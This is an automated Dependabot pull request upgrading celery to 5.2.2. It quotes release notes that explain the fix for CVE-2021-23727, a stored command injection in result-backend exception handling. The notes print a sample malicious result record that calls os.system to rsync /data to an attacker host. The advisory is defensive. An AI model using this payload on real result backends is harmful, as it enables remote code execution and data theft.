Sourced fromcelery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

• Various documentation fixes.

• FixCVE-2021-23727 (Stored Command Injection securityvulnerability).

  When a task fails, the failure information is serialized in thebackend. In some cases, the exception class is only importablefrom the consumer's code base. In this case, we reconstruct theexception class so that we can re-raise the error on the processwhich queried the task's result. This was introduced in#4836. Ifthe recreated exception type isn't an exception, this is asecurity issue. Without the condition included in this patch, anattacker could inject a remote code execution instruction such as:os.system("rsync /data attacker@192.168.56.100:~/data") bysetting the task's result to a failure in the result backend withthe os, the system function as the exception type and the payloadrsync /data attacker@192.168.56.100:~/data as the exceptionarguments like so:

  {"exc_module":"os",'exc_type':"system","exc_message":"rsync /data attacker@192.168.56.100:~/data"}

  According to my analysis, this vulnerability can only be exploitedif the producer delayed a task which runs long enough for theattacker to change the result mid-flight, and the producer haspolled for the task's result. The attacker would also have togain access to the result backend. The severity of this securityvulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

• Fix rstrip usage on bytes instance in ProxyLogger.
• Pass logfile to ExecStop in celery.service example systemd file.
• fix: reduce latency of AsyncResult.get under gevent (#7052)
• Limit redis version: <4.0.0.
• Bump min kombu version to 5.2.2.
• Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Sourced fromcelery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00:release-by: Omer Katz

• Various documentation fixes.

• FixCVE-2021-23727 (Stored Command Injection security vulnerability).

  When a task fails, the failure information is serialized in the backend.In some cases, the exception class is only importable from theconsumer's code base. In this case, we reconstruct the exception classso that we can re-raise the error on the process which queried thetask's result. This was introduced in#4836.If the recreated exception type isn't an exception, this is a security issue.Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:os.system("rsync /data attacker@192.168.56.100:~/data")by setting the task's result to a failure in the result backend with the os,the system function as the exception type and the payloadrsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

  .. code-block:: python

    {        "exc_module": "os",        'exc_type': "system",        "exc_message": "rsync /data attacker@192.168.56.100:~/data"  }

  According to my analysis, this vulnerability can only be exploited ifthe producer delayed a task which runs long enough for theattacker to change the result mid-flight, and the producer haspolled for the task's result.The attacker would also have to gain access to the result backend.The severity of this security vulnerability is low, but we stillrecommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00:release-by: Asif Saif Uddin

• Fix rstrip usage on bytes instance in ProxyLogger.
• Pass logfile to ExecStop in celery.service example systemd file.
• fix: reduce latency of AsyncResult.get under gevent (#7052)
• Limit redis version: <4.0.0.
• Bump min kombu version to 5.2.2.

... (truncated)

• b21c13d Bump version: 5.2.1 → 5.2.2
• a60b486 Add changelog for 5.2.2.
• 3e5d630 Fix changelog formatting.
• 1f7ad7e FixCVE-2021-23727 (Stored Command Injection securtiy vulnerability).
• 2d8dbc2 Update configuration.rst
• 9596aba Fix typo in documentation
• 639ad83 update doc to reflect Celery 5.2.x (#7153)
• d32356c Bump version: 5.2.0 → 5.2.1
• 6842a78 Merge branch 'master' ofhttps://github.com/celery/celery
• 4c92cb7 changelog for v5.2.1
• Additional commits viewable incompare view

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
• @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
• @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
• @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
• @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from theSecurity Alerts page.